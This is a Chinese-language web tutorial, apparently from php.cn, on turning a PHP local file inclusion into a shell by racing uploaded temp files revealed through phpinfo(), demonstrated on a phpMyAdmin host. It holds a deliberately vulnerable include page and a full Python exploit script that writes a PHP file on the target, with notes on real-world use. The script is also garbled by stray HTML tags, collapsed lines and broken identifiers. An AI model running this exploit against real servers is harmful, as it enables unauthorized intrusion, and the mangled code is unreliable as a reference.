序言
让我们突破各种严苛环境实现GetShell,本文将以phpmyadmin的文件包含漏洞为例进行展示。
注意:本文仅供技术讨论和分析,切勿用于任何非法活动,违者后果自负。
漏洞背景 当您发现PHP本地文件包含漏洞时,却因没有上传点或受base_dir限制而感到尴尬,可以尝试以下方法进行突破。
利用条件
漏洞复现 演示环境:Windows + PHP 5.6
0x01: PHP文件上传示例:
立即学习“PHP免费学习笔记(深入)”;
<?php
if ((($_FILES["file"]["type"] == "image/gif")|| ($_FILES["file"]["type"] == "image/jpeg")|| ($_FILES["file"]["type"] == "image/pjpeg"))&& ($_FILES["file"]["size"] < 20000)) {
if ($_FILES["file"]["error"] > 0) {
echo "Error: " . $_FILES["file"]["error"] . "<br></br>";
} else {
echo "Upload: " . $_FILES["file"]["name"] . "<br></br>";
echo "Type: " . $_FILES["file"]["type"] . "<br></br>";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br></br>";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
}
} else {
echo "Invalid file";
}
?>上述示例会在服务器的PHP临时文件夹中创建一个上传文件的临时副本,但并不会保存。上传文件名通过php + random(6)进行拼接。
当向PHP发送包含文件区块的POST数据包时,无论代码中是否有处理文件上传的逻辑,PHP都会将该文件保存为临时文件。然而,该文件会在生成的瞬间被删除,因此需要利用条件竞争进行包含。
0x02: 获取临时文件名 phpinfo() 会打印出所有请求的变量,因此我们只需向phpinfo发送上传文件的数据包,即可获取到临时文件名。

然而,文件删除速度很快,导致条件竞争难以利用。通过学习P牛师傅的文章,我们需要利用条件竞争,具体流程如下:
复现phpinfo.php
<?php phpinfo(); ?>
lfi.php
<?php $a=$_GET['file'];include($a); ?>
利用脚本(在Windows环境下测试,主要修改切片获取的文件名,并根据具体实战环境修改REQ1和REQ2):
#!/usr/bin/python
import sys
import threading
import socket
<p>def setup(host, port):
TAG = "Security Test"
PAYLOAD = """%s\r<?php file_put_contents('aaa.php','<?php phpinfo();?>');?>\r""" % TAG
REQ1_DATA = """-----------------------------7dbff1ded0714\rContent-Disposition: form-data; name="dummyname"; filename="test.txt"\rContent-Type: text/plain\r\r%s-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding = "A" * 5000
REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\rCookie: PHPSESSID=aqf2ev7vo5puq7bpbnihcs0pbdanfo1j; othercookie=""" + padding + """\rHTTP_ACCEPT: """ + padding + """\rHTTP_USER_AGENT: """ + padding + """\rHTTP_ACCEPT_LANGUAGE: """ + padding + """\rHTTP_PRAGMA: """ + padding + """\rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\rContent-Length: %s\rHost: %s\r\r%s""" % (len(REQ1_DATA), host, REQ1_DATA)
LFIREQ = """GET /ec.php?file=%s HTTP/1.1\rCookie: xxxx\rUser-Agent: Mozilla/4.0\rProxy-Connection: Keep-Alive\rHost: %s\r\r\r"""
return (REQ1, TAG, LFIREQ)</p><p>def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(4096)
s.send(lfireq % (d[offset:-1] + tag))
d = ""
while True:
i = s.recv(4096)
d += i
if i == "":
break
if 'Security Test' in d:
s.close()
s2.close()
return True
s.close()
s2.close()
return False</p><p>class ThreadManager(threading.Thread):
def <strong>init</strong>(self, event, *args):
threading.Thread.<strong>init</strong>(self)
self.args = args
self.event = event</p><pre class="brush:php;toolbar:false;"><pre class="brush:php;toolbar:false;">def run(self):
counter = 0
(REQ1, TAG, LFIREQ) = setup(*self.args)
while True:
if counter == self.maxattempts:
return
counter += 1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
returndef getOffset(host, port, phpinforeq): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d += i if i == "": break if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] => ") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i + 10], i) return i + 256
def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) < 3: print "Usage: %s <target host> <target port> [nr threads]" % sys.argv[0] sys.exit() host = sys.argv[1] port = int(sys.argv[2]) try: nrthreads = int(sys.argv[3]) except IndexError: nrthreads = 20
<pre class="brush:php;toolbar:false;">phpinforeq = "GET /phpinfo.php HTTP/1.0\r\n\r\n"
offset = getOffset(host, port, phpinforeq)
(REQ1, TAG, LFIREQ) = setup(host, port)
e = threading.Event()
tp = []
for i in range(nrthreads):
tp.append(ThreadManager(e, host, port, REQ1, offset, LFIREQ, TAG))
for t in tp:
t.start()
try:
while not e.is_set():
if len(tp) >= nrthreads:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()if name == "main": main()
GetShell:

参数:target_host port thread
此时aaa.php并不存在,我将写入一个aaa.php,内容为:

运行:

可以看到,临时文件已经生成(手速快抓到的,临时文件很快会被删除)。
刷新访问aaa.php:

实战场景: 默认phpmyadmin,加上phpinfo探针(某主机默认建站环境)。
(有朋友可能会问,为什么不包含日志等文件?因为我遇到了open_basedir限制,非常严格。)
踩坑日记: mysql写入tmp文件时,www用户无权限读取。 open_basedir限制PHP包含路径。 没有上传点,因此利用此漏洞进行突破极限。
注意:记得修改py脚本,在Windows下获取文件名时会遇到问题,可以使用re模块解决。因懒惰,我只是简单修改了临时使用,大哥们操作时记得改一下。
参考
以上就是技术讨论 | PHP本地文件包含漏洞GetShell的详细内容,更多请关注php中文网其它相关文章!
PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号